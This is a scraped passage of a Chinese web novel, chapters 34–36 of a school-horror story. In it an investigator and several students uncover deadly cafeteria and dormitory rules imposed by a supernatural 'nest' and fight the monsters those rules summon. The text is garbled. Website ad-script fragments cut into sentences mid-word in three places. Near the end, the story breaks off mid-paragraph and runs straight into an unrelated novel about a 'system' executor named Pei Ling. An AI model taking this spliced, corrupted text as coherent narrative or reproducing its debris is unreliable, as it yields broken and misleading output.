陈东俊想到刚刚的窒息感,又抬头看了一眼沈云烟,然后摸了摸自己的脖子,表情愣愣的,还没回过来神。 昨天被徐祥抽了两巴掌醒了,今天被人掐脖子醒了,下次还不知道遇见什么事,他怎么这么倒霉。 陈东俊浑身上下都不舒服,连自己怎么来这里都不知道,心里有点猜测,问道:“我是不是干什么事了?” 那场考试实在太诡异了,让他六小时背80页资料,还必须一字不差,鬼才能做到,背到头昏脑胀才堪堪考了79分,接下来他就记不清了。 好像那个拿哑铃的女人又来了,他逃不走,又被摁着砸了两下。 想到这,陈东俊赶紧摸了摸自己的后脑勺,圆的,没伤口,自己不是变成了什么顶着半个脑壳行走的怪物,他立刻松了口气。 “刚刚还拿着哑铃说要给人开瓢”,沈云烟扶他起来,“手劲还挺大。” 陈东俊顺着力度站起身,闻言尴尬地缩回自己的手,解释着:“我都记不清了,昨天那破考试之后直到现在的事我都不知道。” “我没考满分,又被砸晕,后来就什么也不知道了”,他道。 “你们是什么人啊”,陈东俊想到什么,悄悄问:“是不是什么不能透露的神秘组织,我积极配合能进去当个后备役吗,我妈说我从小力气就大,说不准还有个什么超能力之类的。” 不仅力气大,心也大,看着脑壳也硬。 徐祥没被监考老师入侵,这会儿都快崩溃了,陈东俊已经被监考老师朝着脑袋敲过两回,入侵污染两次了还不知道怕,醒了之后呲牙咧嘴疼一阵之后和没事人一样。 “吴清雾,你怎么在这”,陈东俊又发现在一旁缩着的吴清雾。 他不满道:“之前找了你好几次你都不出来,连消息都不回,你怎么回事啊你。” 吴清雾哼了一声:“咱们三个聚一起有什么用,互相诉苦水吗,考试里一点忙都帮不上,还见什么面,会什么合。” “那也可以一起商量,人多力量大,你这人怎么这么孤僻。” “总比你没脑子的强。” 这两人一碰面就跟斗鸡一样,也不知道以前有过什么过节。 “好了好了,都冷静一点”,沈云烟看着吵吵闹闹的年轻人,觉得自己像带娃一样。 “正式介绍一下,沈云烟,非自然研究所特邀人员”,她指向医生,介绍道:“姬蒙,同特邀人员。” “你们所处的困境名叫巢穴,形式各异,以狩猎人类为乐,现在正处于巢穴猎场建设初级阶段,我们要尽快拆除巢穴。” “我们要去对付那群怪人吗?可我连随意动都不行”,陈东俊摸了摸后脑勺,一阵幻痛。 “我可能不是我……”吴清雾也不知道怎么形容她的状态,考场里的她就像被蒙住眼睛的盲人,拿上戒尺之后连自己是谁都模糊了。 “没关系,说些细节吧,比如夜晚考试的时间和考场位置。” 沈云烟说话不紧不慢,稍稍安抚住了两个学生。 “我们就在高二(3)班”,陈东俊说,“而且不止在原班级,连座位也是自己的位置。” 陈东俊因为个子高排在了左靠墙最后一排,白墙上有以前学生乱涂乱画的字,新学期换教室之后他去新教室看了一眼,印象很深刻。 所以在陷入奇怪考试的时候,他一眼就认出了新班级教室。 “时间大概在12点前后”,吴清雾道。 “在快到时间的时候就会很困,仿佛下一秒就能直接睡过去,我当时一沾枕头就睡了,醒来后就出现在教室里。” 晚十二点进入考场,地点在本班教室且学生位置固定,考试没有达到要求会导致监考老师的攻击,而且受伤程度加重会对身体产生连锁反应,比如行事向监考老师靠近。 吴清雾比较特殊,她在考场里完全成为了监考老师,但现实看起来还很清醒。 所以监考老师入侵污染学生只和受伤程度有关吗。 不过这个考场既然是和教室一比一复刻,能不能用别的手段进入考场。 信息还是太少了,沈云烟不清楚成为考生的基本原则。 “你们都是这周六来的学校吗?”她问道。 “我是周六早晨,我家离得远,所以提前来,准备在附近买点生活用品带去学校”,陈东俊点头。 “我是周六中午”,吴清雾想起家里的事,脸上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 表情算不上开心:“因为和家里爸妈吵架,我提前来学校躲清净。” 果然和时间有关吗。 沈云烟翻了翻自己手里的请假学生名单,道:“这八个人应该是它的第一批试验品,按照预知的屠杀速度来看,它很快就要扩大考生范围了。” 今天是周一,截止周日,他们总共有七天的时间来拆除巢穴。 “铃铃铃——” 中午下课铃响过,学生陆续从教室赶出来往食堂方向跑。 陈东俊摸了摸肚子,提议道:“要不要先去吃点饭,吃饱了才有精神想办法,我给你们说,我们学校食堂饭有几样可好吃,我请你们呐。” “那就谢谢了”,沈云烟笑笑。 心大的人在哪都心大,人一没事就惦记吃吃喝喝。 “不过你指几个好吃的窗口就行,这几天的饭我们包了,就当你们协助调查的福利好了。” 沈云烟从口袋里取出一张学生卡递给陈东俊,张雪办事面面俱到,里面已经冲过钱了,她大手一挥:“想吃什么吃什么,想吃多少吃多少。” “嘿嘿,谢谢沈姐,我就不客气了。” 吴清雾撇了这傻大个一眼,捂着脸:“我不太饿,没心情吃饭,要不我先回……啊。” “你人还挺好看的,怎么性格那么不合群”,陈东俊拽住吴清雾的袖子就把人往食堂拖着跑,“走走走,你陈哥带你去吃饭,女孩子吃圆了才更好看。” 被自来熟大傻哥拖着跑地上气接不过下气,话都说不全的吴清雾只想狠狠甩开这家伙的手,结果对方力气太大,甩了一下没甩开。 反而招来对方回头疑惑问道:“刚刚你在扭什么,是新的舞蹈吗?” 你怎么那么爱管闲事,快放开我,你个二傻子。 话到嘴边,吴清雾看到这人投来的好奇目光,终究还是没说出来口。 没得到回应,陈东俊也没在意,这同学一直都不爱说话,哪天话多了才奇怪,他往沈云烟方向招了招手:“沈姐,我先去点菜了,你们快点跟上啊。” 然后就拉着面露挣扎的吴清雾一溜烟跑了,显然在这个时间里,吃饭这件事要比晚上的考试重要。 “真是活泼好动的年轻人”,沈云烟感慨。 就是有点缺心眼。 她拿出通讯器和宋先对话:“那边怎么样了,还撑得住的话,带你同桌一起来食堂吃个饭。” 新到手的通讯器效果很好,人声很清晰,没有电流的滋滋声,就是不知道晚上靠近考场时还能不能有这样的效果。 没一会儿就传来宋先的声音:“喂喂喂老大,刚刚徐祥睡醒说早上没吃饭,我们这会儿已经在食堂了,食堂阿姨今年又精进了,徐祥他点了好多,你们快点来。” 看来就只剩下他们俩了。 “走吧,姬蒙医生,去学校食堂看看。” 走到食堂门口,沈云烟停下脚步。 食堂公告栏贴着一张非常显眼的告示。 【食堂规则如下】 【不能浪费任何粮食】 【不能吃掉变质的食物】 【如有食堂工作人员出售非食物商品,请举报】 【如看到此规则,请全力遵守】 【落款:无所不知的校长】 34. 勤奋努力的学生(5) 【食堂规则如下】 【不能浪费任何粮食】 【不能吃掉变质的食物】 【如有食堂工作人员出售非食物商品,请举报】 【如看到此规则,请全力遵守】 【落款:无所不知的校长】 “食堂门口贴的告示你们看见了吗?”沈云烟道。 她很快就找到了宋先他们,四个学生坐在了一起,桌子上摆满了食物,十分显眼,路过的学生不时投来注视,看看到底是哪几个饿死鬼能吃这么多。 “沈姐快快快过来坐”,陈东俊站起来向她招手。 一旁脸色依旧苍白的徐祥捂了捂眼睛,抱着自己的碗稍微离陈东俊坐远点。 宋先听见沈云烟的话,回想了一下:“有吗,食堂门口有贴东西吗?” 他进来的时候什么也没看见。 陈东俊拉着沈云烟和姬蒙坐下,拿起筷子夹了个鸡腿,边吃边回:“当然有啊,那么大一张通知告示就贴在门口,让人节约粮食的,你进门没看见吗。” “我拉着吴清雾进来的时候我俩都看见了,好像还是校长写的”,他继续道。 坐在他对面的吴清雾小口吃着饭,闻言点了点头。 “那我可能没注意吧”,宋先确实没印象,那会儿他进食堂的时候已经有部分学生提前下课了,人一多就挤的慌,没看见也正常。 “我也看见了”,徐祥放下碗,睡了一会儿恢复了点精力,但还是吃不进去饭,听到众人提到告示,他道:“落款很奇怪,写的是无所不知的校长。” “校长一把年纪了还学年轻人玩抽象,有点尬啊”,陈东俊吐槽道。 “或许这并不是你们熟悉的校长留下的”,沈云烟也端了碗饭,英才中学伙食的确不错,和医生的八菜一汤有的一拼。 见众人目光都集中在她这,沈云烟道:“我们一起进来的时候,姬蒙也看不见那张告示。” 是看不见而不是忽略。 众人吃饭的动作停住了。 沈云烟还算淡定:“很显然这并不是随机的,而且极大概率和考试有关,看起来整座校园都在异变。” 与考试有关的三个学生徐祥,陈东俊,吴清雾都能看见告示,还没陷入异常的宋先和姬蒙则看不见。 而她则是被新盯上的考生。 “巢穴在某种程度上极其注重规则的,巢穴之主渴望有秩序的神国,神国之下的子民都能‘安居乐业’,最好是按照它指定的准则来兴盛神国。” “这个无所不知的‘校长’正在逐步掌控校园,考试和食堂的规则已经出现了,很可能下一步还有浴室规则,宿舍规则……” 宋先张大了嘴巴:“这和电视剧里一模一样,好刺激。” 恐怖怪物遵循杀人规则,主角团在规则的边缘游走,最终逃生成功。 “可惜这不是什么电视剧,没有主角必胜的命运”,沈云烟把食堂规则重述一遍:“不浪费任何食物,不吃变质食物,举报违规员工,看到规则的人要遵守规则。” 【如看到此规则,请全力遵守】 这句话并不是提醒,它也是食堂规则之一。 “意味着现在咱们几个中除了宋先和姬蒙之外,都得遵守食堂规则。” “现在先乖乖吃饭,吃完再说。” 第二条规则是不吃变质的食物,这和第一条规则不能浪费任何食物中的“任何”有冲突。 最近刚开学,食堂卫生查了好几遍,质量倒是不担心,变质饭菜这条暂时按下。 宋先拿着筷子看着一桌子菜发愣:“这有点多吧。” 而且怎么样才算不浪费食物,汤也要喝掉吗。 过了一会,还有点担心吃不完的宋先觉得自己真是操多余的心。 姬蒙医生和陈东俊两个人吃饭的速度看着不快,但桌上的红烧茄子,西红柿炒蛋,酸辣粉丝,凉调鸡肉,青椒肉丝,水煮鱼片,蒸包,糯米甜鸡……在疯狂减少,没等宋先手里的小碗米饭见底,桌子上已经没菜了。 陈东俊摸了摸肚子,打了个饱嗝,往椅子后背一靠,十分舒坦:“香,太香,阿姨又精进了。” 姬蒙医生从包里掏出纸巾擦了擦嘴,还细心询问其他人需不需要,完全看不出刚刚风卷残云的模样。 怪不得要点这么多,陈东俊一个人都能干掉半桌子菜。 宋先砸吧砸吧嘴,把碗里剩下的白米饭塞进了嘴,不给规则一丝侥幸。 万一他出门就能看见食堂规则,那不完蛋了,还是吃完安心点。 其他人也吃的差不多,放下筷子。 英才中学中午有两小时午休时间,期间宿管要查寝,所以得返回宿舍楼。 四个男的回男寝,沈云烟和吴清雾回女寝103。 “沈姐”,吴清雾小心翼翼地叫了一声:“你们刚刚说的我都在认真听,我想问,要铲除巢穴的话,那我最后会变成什么情况。” 其他人只是卷入考试的考生,而吴清雾则成了拥有考场特权的监考老师。 那她是不是也算成为了巢穴的一部分,毕竟昨天她还把一把钢尺插进了不知道哪位同学的大腿,虽然不是主观意愿,但回想起来吴清雾还是会恐惧地战栗。 她会不会也随巢穴的消亡而死,吴清雾虽然觉得人生也没什么明媚的,但还不想死的那么早。 比起徐祥的大方摆烂,陈东俊的粗神经,眼前名叫吴清雾的女孩眼底总有一丝阴霾,她会怕死,她会威胁别人寻求自保,她会疾言令色,也会在松弛下来后失声痛哭。 “别担心,巢穴溃散后,我会带你出去”,沈云烟耐心道。 之前相处的人要么皮糙肉厚,要么就比她还狂野,算起来这还是第一次进校园和脆皮未成年打交道。 都不是坏孩子。 沈云烟抬手又摸了摸她的头发:“你就当这是一场游戏,我们过几天就能通关。” 她们将已经到达了女寝一楼,往右边拐就是102号,吃饭耽误了一阵,宿舍里其他人早都回去了。 吴清雾愣愣看着沈云烟,鼻子突然一酸,她硬是凭借意志力忍了回去,撇开脸稳住声音:“走吧沈姐,过会儿要吹午休铃了,宿管阿姨不准午休时间在楼道里站着。” 她闷头往前走,差点撞上了门,慌张地抬头,看清自己宿舍门上的纸张,却仿佛灵魂都被冻住。 “沈,沈姐,这里也出现规则了。” 沈云烟落了吴清雾半步,此时也看见了那张新出现的规则纸张。 【宿舍规则如下】 【任何时候不能拉上窗帘】 【任何时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 候不能使用电器】 【任何时候不能晾晒衣服】 【任何时候不能安装床帘】 食堂规则因为两个大胃王在场没有被触发,所以还不知道规则触发后究竟会发生什么,只知道被选中的考生必须遵守规则。 宿舍的规则比食堂规则要措辞严厉很多,四个严格的“不能”摆在眼前警示着考生。 吴清雾这会儿脸都快吓白了:“沈姐,我们宿舍一直都装着床帘,这规则它耍赖。” 刚刚沈云烟过来敲门时门上没有任何东西,现在回宿舍就多了规则纸张,很难说没有针对的意思。 还有食堂规则,他们几个中就把她单独加进了考生名单里。 看起来这个巢穴之主对她真的颇为“看重”呢。 “别慌,先进去看看。” 正说着,沈云烟推开了门。 英才中学的寝室是四人间,除了吴清雾和新住进来的沈云烟,还有两个本来就在这个宿舍的同班女生。 此时所有床铺的床帘都紧紧拉着,透不出一丝内部的光景。 宿舍里很安静,静的好像没有人一样。 “小孟和小赵肯定回来了”,吴清雾笃定道:“咱们已经是踩点回宿舍的,她们一般吃完饭就会回宿舍,平时这会要么打打闹闹,要么上床休息。” 也意识到宿舍有些过于安静了,吴清雾摸了摸自己鸡皮疙瘩,手有点抖,但还在尽力说服自己:“可能她们睡的比较沉……吧。” “打开床帘看一眼就知道了。” 沈云烟掀开离自己最近的床帘,将里面的东西显露出来。 吴清雾看清床帘里面后,顿时松了口气,小声道:“吓死我了,我还以为小孟怎么了。” 孟姓姑娘盖着被子侧躺在床上,背部朝外,面部朝墙,耳朵上带着耳塞,正在睡觉。 吴清雾想上前把床帘重新拉上,让舍友继续睡觉,刚往前半步就被沈云烟拦住了。 “往后退,这人不对劲。” 沈云烟敏锐地察觉到这份安静背后的不寻常。 即使是睡姿再恬静的姑娘,也不可能一点起伏都没有,她甚至怀疑眼前这个“小孟”到底还有没有呼吸。 吴清雾顿时僵住了手脚,她深吸几口气做足了心理准备,轻轻上前唤道:“小孟,小孟先醒醒,我有事找你。” 没有回应。 沈云烟扶住小孟的肩膀将人扳了过来,小孟无知无觉任她行动,平躺在床铺上,什么反应都没有。 正面朝上后,两人才看清小孟脸上粘了一条窄条纸片,上面写着:任何时候不能安装窗帘,明知故犯,扣命。 违反规定,会扣命? 吴清雾手脚冰凉,声音有些沙哑:“她是不是……死了。” 在刻意针对的宿舍规则之下,她们要怎么活下去。 “还没有,只是昏迷了”,沈云烟快速检查完得出结论。 “快去把所有床帘卸了”,沈云烟道。 “哦。” 吴清雾如梦初醒,她取出刀,很快就把小孟床帘的绳结割断,然后再去小赵的床边依法炮制。 就好像快要窒息的人突然获得空气一样,小孟在床帘掉落的一瞬间开始拼命大喘气,她猛地扯掉脸上的纸条,趴在床边咳的撕心裂肺。 35. 勤奋努力的学生(6) 吴清雾手疾眼快,剪断小赵的床帘,宿舍里顿时布满两人的咳嗽声。 沈云烟帮忙给人顺背,等到两人都平复好,她温和笑道:“做噩梦了吧,醒了就不怕了,对了,这边要重新装修床架,老师让你俩换个宿舍,现在就要搬,就在108宿舍。” 她手中的宿舍表里显示108是个空宿舍,先把两个学生隔离出宿舍规则的房间里,避免不必要的麻烦。 学校宿舍调换张雪会安排妥当。 “我胸闷喘不过来气”,舒缓好呼吸的小孟还没搞清楚到底怎么回事,只觉得睡了很难受的一觉,好像逐渐喘不过来气,给憋醒了。 “是做噩梦了吗?”隔壁床的小张听见沈云烟的话,还有些半信半疑。 好真实的梦,缓不过来气的时候真有种窒息的痛苦。 “梦里的人都感觉周围很真实,你们肯定开学压力大,所以才做了噩梦”,吴清雾打圆场。 “你是新来那个的同学,原来分到我们宿舍了。” 小孟认出面前的沈云烟正是今天来的插班生之一,问道:“你们不用搬吗?” 我们要是搬了,宿舍规则就会挪到108去,那和没搬有什么区别。 吴清雾心里这样想,但肯定不能说出来。 沈云烟道:“老师让你们先搬,我们还没安排,应该还要在这里住上几天。” 小孟实在没想懂为什么一个宿舍挪到另一个宿舍还要分批次,有先后顺序,但她这会儿脑子晕晕乎乎,没什么力气,所以轻轻嗯了一声,也没多问。 等把两个学生都弄进108,沈云烟回到了103寝室,坐在了她的床位上。 “真有意思,拉上床帘里面的人视作违规,实施窒息死亡惩罚。” 她好奇违反其他规则会产生什么后果。 因为103在一楼,窗户又是靠外的,所以能很清楚看清宿舍楼外水泥路上的情况,相同的,外边也能看清里面的情况。 女孩子比较注重隐私,所以103宿舍的厚重窗帘常年半闭着,只有天气大好的时候才会全部拉开晒晒太阳。 “沈姐,你是想要拉窗帘吗?”吴清雾坐在床上裹着被子,还是没什么安全感。 本来被卷进考试就是一堆破事,没想到现在又多了死亡宿舍规则,她也不知道小心遵守能不能避免最坏的结果。 毕竟这些规则都是摆在明面上的,似乎只要不触犯就不会有危险。 “与其等它们偷跑过来找我们,不如主动一点邀请它们进来”,沈云烟道。 巢穴对吸纳活人的渴望非常强烈,乖乖遵守它的规则只会一步步沦陷,它们会想尽办法逼人触犯规则,从而现身杀人。 “我要拉窗帘了,你警惕周围,远离可疑东西”,沈云烟提醒道。 厚重的窗帘落下,失去了房间里唯一的光线来源后,宿舍内部变得异常昏暗,仿佛光明被黑暗蚕食代替。 吴清雾突然感觉到一股强烈的窥探感,从宿舍窗帘的背后渗透过来。 明明那里不可能有人,吴清雾却莫名觉得窗帘后正爬着一个缩头缩脑的怪物,正直勾勾地往里看。 它隐匿地偷窥,伺机掀开窗帘闯进寝室,进行屠杀游戏。 之前听闻过的离奇故事故事这会儿止不住地往她脑子里钻。 某所学校很早之前也有一起事件,有杀人狂藏在了宿舍厚重的窗帘后,等到深夜女孩们睡熟了杀人逃跑,只剩下一个半夜起床上厕所的女孩得以幸存。 那强烈的直觉实在太过瘆人,吴清雾眼睛瞪的溜圆,紧紧粘在沈云烟身上,看她的动作。 这明晃晃的杀机沈云烟闭着眼睛都能感受到。 在拉上窗帘的这一段时间里,窗帘后东西发生了细微的异动,这异动似乎还遵循着某种规律。 她前进半步,窗帘后没有反应。 不是距离原因。 她用手触碰到窗帘,感受到那东西猛地动了一下,但还是没有破帘而出的动作。 那股跃跃欲试的气息,究竟是在什么行为中产生的? 有什么规则在限制着它。 “沈姐,我之前有听说偷窥狂会躲在窗帘背后趁人睡觉的时候杀人,我们要不先下手为强,隔着窗帘把它弄死”,吴清雾出主意道。 她怕是怕,胆子被逼逼也能逼出来,这会儿还有沈云烟在场,为了自己的安全,说话不由带了点狠劲。 沈云烟摇了摇头:“隔着窗帘它碰不到我们,我们也弄不死它,只有它出来的时候我们才有办法杀了它。” 卸了窗帘或许也是个一劳永逸的办法,但沈云烟现在正想见识见识这个巢穴的真实模样,困在窗帘里的这位真是送上门的良机。 吴清雾的话倒是提醒她了。 在宿舍内所有东西,包括她们俩的位置都没有改变,那引发异动的究竟是什么。 呼吸,温度? 假设睡着的人是被杀死的对象,她和吴清雾都是苏醒状态,为什么在某几个瞬间,她感受到窗帘里的东西就快要破帘而出。 睡觉……闭着眼睛睡觉…… 闭眼。 她对吴清雾道:“现在开始,你闭上眼睛,一会儿要是听到其他声音也不要慌张,那是给咱们送惊喜来的。” 看着吴清雾听话地闭上眼睛,沈云烟最后看了一眼窗帘,随即也闭上了眼睛。 一秒,两秒,三秒,等到第四秒的时候,恐怖的腥臭味扑面而来,一只枯槁的手直直向沈云烟抓过来。 窗帘后的东西闯进来了。 沈云烟立马睁开眼睛,眼中倒映出一个驼背小老头的身影,脸部血肉模糊,他提着一杆滴血的斧头,灵活快速地劈向沈云烟。 听到声音,吴清雾牢记沈云烟的话,没有睁开眼睛,紧张出声:“沈姐,没事吧!” “没事,你别睁眼就行,我能应付。” 沈云烟长枪上手,挑开那柄斧头,手中黑色长枪如同游龙一样刺进了怪物老头的咽喉,对方见状不敌,竟瑟缩着想往窗帘方向逃去。 他想缩回窗帘里。 老头速度很快,硬生生把自己从长枪上拔出来,一个猛扎头就进了半个窗帘。 再然后不管他怎么使劲想进去,寸步难行。 怪物老头猛地回头,发现沈云烟已经重新闭上了眼睛。 “我知道你的规则了”,沈云烟扬起笑容。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当寝室内所有人处于闭眼状态时,窗帘怪物现身杀人,当途中有人睁开眼睛,它就获得了返回窗帘的权利,它可以选择立即返回,或者杀完人返回。 换个角度,当寝室内所有人处于闭眼状态时,窗帘怪物现身杀人,不得返回窗帘,只有杀光寝室人类或者有人睁开眼睛它才能获得返回权限。 “想逃,哪有这么简单。” 怪物老头瞬间反应过来扑向沈云烟,血风袭来,正对的是她的脑袋。 沈云烟不得不睁开眼睛躲避。 怪物老头声东击西,见沈云烟睁开了眼睛直接就往窗帘上扑。 然后就撞出一声巨响。 回头一看,沈云烟又闭上了眼睛。 这个女人不好惹,家也回不去,再不拿出点魄力,自己肯定会灰飞烟灭的,怪物老头拾起自己的斧头,开始认真起来。 它缓缓看向了躲在角落里最脆弱的人类女孩,让她睁开眼睛肯定要比让这女人睁眼容易。 只要回去之后不出来,这人就拿它没办法。 打定主意,它缓缓向吴清雾移去。 “喂,我这么大个人在你面前挡着,总得有些尊重的态度吧。” 沈云烟持着武器挡在了吴清雾的身前。 “创造你的东西没有告诉你不能动未成年吗?” 黑色长枪以迅雷之势贯穿了怪物老头的心脏,将它钉在了地上,它挣扎着想逃走,却怎么都挣脱不开。 沈云烟完全睁开眼睛,仔细打量着这个巢穴的产物。 必须遵循某种规章制度,不能细看的粗糙人形,如果在夜晚出没,那么精神压迫感肯定会很强。 被沈云烟彻底抓住之后,床帘怪物发出一道嘶哑的吼叫,然后在吴清雾凑上来时化成了一滩粉末。 “它死了?” 吴清雾还没多看几眼,面前的怪物就没了,她疑惑道:“被穿透了还活蹦乱跳的,怎么这么一会儿就没了。” “因为它违反了规则,怪物现身杀人,它又没回到窗帘后,又没有杀到人,所以被规则抹杀了。” “这样啊”,吴清雾立刻来了精神:“那我们是不是可以利用规则杀怪物。” “理论上可行,但首先得要试出其他宿舍规则的机制。” 吴清雾现在觉也不想睡,课也不想上,这会儿就把剩下的两条规则反复来回地念。 “任何时候不能使用电器,宿舍本来就不让用吹风机,卷发棒这种功率的电器,这条是不是有点多余。” 整个宿舍都找不出一个违规电器,根本不可能触发。 沈云烟拉开窗帘,让光透进来。 她回头道:“不能使用电器,意味着不能使用所有电器。” 沈云烟抬头看向顶上的电灯,道:“你看,头顶就有一个电器。” “如果是晚上回宿舍的话,刚开门就会摸上电灯开关,禁用电器规则瞬间成立。” “真是阴险”,吴清雾后怕。 宿舍规则无所不在,她不仅失去自我进入考试,还要应付宿舍杀人规则,她的小命还没那么□□。 “沈姐”,吴清雾生气道:“我们快点把电器的怪物也拉出来搞掉吧。” 36. 勤奋努力的学生(7) 吴清雾已经从被动心态变成了主动心态。 宿舍里的配置电器不多,宿舍顶的电风扇,电灯,饮水机。 其余大功率电器均不允许使用,防止过载,也从根本预防火灾。 按照刚刚窗帘规则的逻辑来推断,紧闭的窗帘后藏着杀人狂,这是一种灾难的可能性,只不过巢穴把这个可能性绝对化了。 那宿舍内部的电器被触发时,最可能引起的灾难又是什么。 沈云烟逐渐捋清思路。 火灾。 大功率电器过载,过热,在没有人及时发现的时候会引发火灾甚至于爆炸。 “你们学校之前有发生火灾吗?”她出声问吴清雾。 “火灾倒是没有”,吴清雾想了想,道:“不过之前有学生忘记关卷发棒结果炸了的事,后来发现及时,人没什么事,就是桌子和桌子上东西遭了殃,那个同学被严重通报批评了。” 果然出过事,沈云烟的猜测逐步被验证。 巢穴的建立一定是依据某种基础之上,而英才中学如今各项巢穴规则使灾难的发生变成了必然。 床帘后的人必死,会不会是因为曾经有人死在床帘后没被发现,规则吸纳故事并且扭曲过程导致了必死的结果。 窗帘和电器规则同理,将因果逻辑改造成了适用于巢穴杀人的条件。 “需要我开灯吗”,吴清雾走到了门口,手伸到到开关处准备开灯。 她跃跃欲试:“一会儿我躲远,沈姐你大发神威搞死怪物。” “等等”,沈云烟叫停了她的动作,“如果电灯和火灾爆炸相关的话,我们先不动它。” 规则被触发,如果后果并不是怪物而是麻烦的火灾,困身火海可不是小事,最聪明的办法就和剪掉床帘一样,拆除电器,但拆灯管要麻烦地多,避免发生意外,应该暂时放置,先处理简单的。 比如,不能晾晒衣服那条规则是人祸的可能性大很多。 “晾晒衣服会出什么意外?”沈云烟喃喃。 晾衣绳锁喉,踩水滑倒磕到头部,被晾衣杆打到摔下楼层…… 在巢穴的作用之下,任何微小的可能都将成为现实。 吴清雾听到沈云烟的话,小心翼翼举手:“如果是晾衣服的话,我有听到一件事和这个有关系。” 看沈云烟朝她投来目光,吴清雾不好意思笑笑:“嘿嘿,我对学校各种奇闻异事都挺感兴趣的,所以知道的比较多。” 沈云烟眼神示意她继续说下去。 吴清雾道:“我们上一届学姐说的,她们为了晾衣服快一点,把衣服绑在头顶风扇上,然后开着风扇转,衣服会干的很快。” 沈云烟啧啧称奇:“你们学姐很有想法嘛,脑袋灵活,是个奇才。” “是吧,我也觉得很聪明”,她道:“但是后来出了点意外。” “学姐说她们夏天的时候阴雨天晾裙子,刚好是白裙子”,吴清雾露出一个你懂的表情,“白裙子随着风扇在头顶转动,一开门可吓人了。” “她们寝室的已经习惯换了,其他喜欢串宿的也习惯了,但是宿管阿姨一开门看到这种场景吓惨了。” “阿姨当时被吓得坐在地上,后续还去医院看了骨头,还好没出什么事。” “这可真是给人吓惨了”,沈云烟道。 一开门看见一具类似尸体的东西在上面飘,宿管没当场吓晕都是阿姨心理素质好。 吴清雾手已经扒拉上了自己的闲置衣服,给衣服挂上了衣架,比沈云烟还要积极主动。 “沈姐,一会儿我先闭上眼睛,我怕看到什么不该看的东西。” 她露出“拜托了革命同志”的表情:“拜托千万要保护住我,我挺惜命的。” “没问题”,沈云烟向她做出保证:“在巢穴怪物死前你肯定没事。” 吴清雾没了一开始的谨小慎微,有沈云烟兜底,她露出一种光脚不怕穿鞋的勇气。 她走到宿舍晾衣架附近,脚一点就把衣架挂上了晾衣杆。 吴清雾在完成晾晒衣服的瞬间就把自己迅速缩进了角落里,捂着眼睛不敢看到底会发生什么。 沈云烟看着头顶的风扇不自觉转动起来,有一道白色虚影吊挂在风扇上,随着风扇缓缓转动。 那虚影闭眼吊挂着,在转到沈云烟方向时瞬间睁开了一双血红的瞳眸,长长的舌头掉了出来,延长伸向沈云烟的脖子。 她迅速躲开,长舌吊死鬼没想到底下的人速度这么快,它眼珠子微微转动,又缓慢地把舌头伸向新的方向。 “你们老大创造你的时候没给速度加点吗?” 沈云烟非常轻易地又躲开它的攻击。 速度和老旧风扇一样慢的吊死鬼瞪圆了眼睛,本就发紫的脸逐渐染上了愤怒的红色。 它随着风扇转啊转,舌头来回锁定沈云烟,可惜根本跟不上对方的速度。 沈云烟本来想拽着舌头把这家伙拽下来,可惜一看到舌头上的粘稠唾液就缩回了手。 她移到风扇底下,抓住吊死鬼的白裙子,直接将它扯了下来。 “扑通”一声,白裙子吊死鬼瞬间落地,发出了巨响,大理石地板出现了裂纹。 沈云烟看看裂开的地板,又看看顶上的风扇,道:“你们风扇的焊接师傅真是技术高超。” “怪物也要有身材管理,你都胖到砸裂大理石地板。” 她用脚戳了一下它,它往后不断瑟缩着,显然没了底气。 被人从风扇上弄下来显然也是第一次,它还没有想到应对的方法,面对这个敢徒手拽她裙子的女人,它有些害怕。彼时有系统曾言道:没赚够还我的积分别回来见我! …… 裴菱觉得十分有道理,背起行囊随手挑了一个世界就匆匆下去了。 虽然降临这个世界的方式在物理意义上有些匆忙,被踹的屁股还隐隐作痛,但她已然接受了这种新颖的降临方式。 毕竟她可是把统子哥给二代买房的钱都给搭进去了。 这一切都来自于一场主世界众多执行人内部的一场豪赌。 同事们纷纷聚在一起讨论各自系统的八卦,言情部领头人牵线拉桥搞了一场赌注豪横的投票大会。 内容是:谁是系统中最受欢迎, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情感经历最丰富的系统。 这个话题很敏感,关乎统子哥的面子问题,为了避免以后它在工作群里被嘲笑,作为它的常驻执行人,裴菱怎么可能袖手旁观,她当即举手第一个参与进去。 所以在龙傲天系统一马当先,白莲花系统紧随其后,霸总系统后来者居上等等系统争奇斗艳的时候,裴菱把她那宝贵的一票投给了统子哥——恐怖区系统。 当然,最终主系统结算的时候统子哥以一票的优势碾压所有系统成为倒数第一。 以系统界最单纯不做作的大龄单身统名声响彻主世界。 可喜可贺。 然后一毛不拔的统子哥含恨从账户里划出积分来作为她赌注的赔偿,用幽怨眼神盯了她几天后,最终爆发愤愤不平地说她花光了它给儿子买房的钱。 你还没老婆吧,哪门子的儿子。 裴菱很想问这句话,但看见统子哥拟人化的杀人表情后她知趣儿地把话憋了回去。 她被痛失财产的统子哥以历练之名赶了出来,看在大龄铁公鸡系统这会儿还在被窝里为它逝去的积分痛哭的份上,她也就不计较了。 即使没有统子哥,她在恐怖世界存活也很简单。 依经验之谈,恐怖世界规定存活时间限制最多不超过一个月,对于她这种级别的执行人来说,完全不用担心存活问题,她就当度假一个月。 “让我看看剧本。” 裴菱踩了踩地面,扫了一眼周围异常高大的植被,大概确定了危险程度。 “大概c级世界。” 轻松完成任务。 裴菱嘴上哼着小曲儿,点开了简易系统的界面。 统子哥公报私仇,单人历练只给她配了个只有底层逻辑的基础系统,功能少得可怜,不过也勉强够用。 “让我看看是什么宝贝任务。” 只见简易系统屏幕闪了闪,信号不好一样花了几下,卡出了几个方正的大字。 《莲花的种植》 “坏了吗?” 她“哐哐”拍了几下屏幕,对电器进行物理疗法。 简易系统闪成了马赛克,最终定格在六个字上。 《白莲花的种植》 裴菱手没刹住车,又拍了一下。 《白莲花的修养》 她看了看自己的手,试着轻轻按了一下屏幕。 《造作白莲花的自我修养》 “……” 这是拿错剧本了? “师妹,怎么还不跟上。” 当陌生的声音钻进裴菱的脑子时,她敏锐的五感促使她立刻捕捉到了声音的来源。 那是一个远到已经成黑点的人。 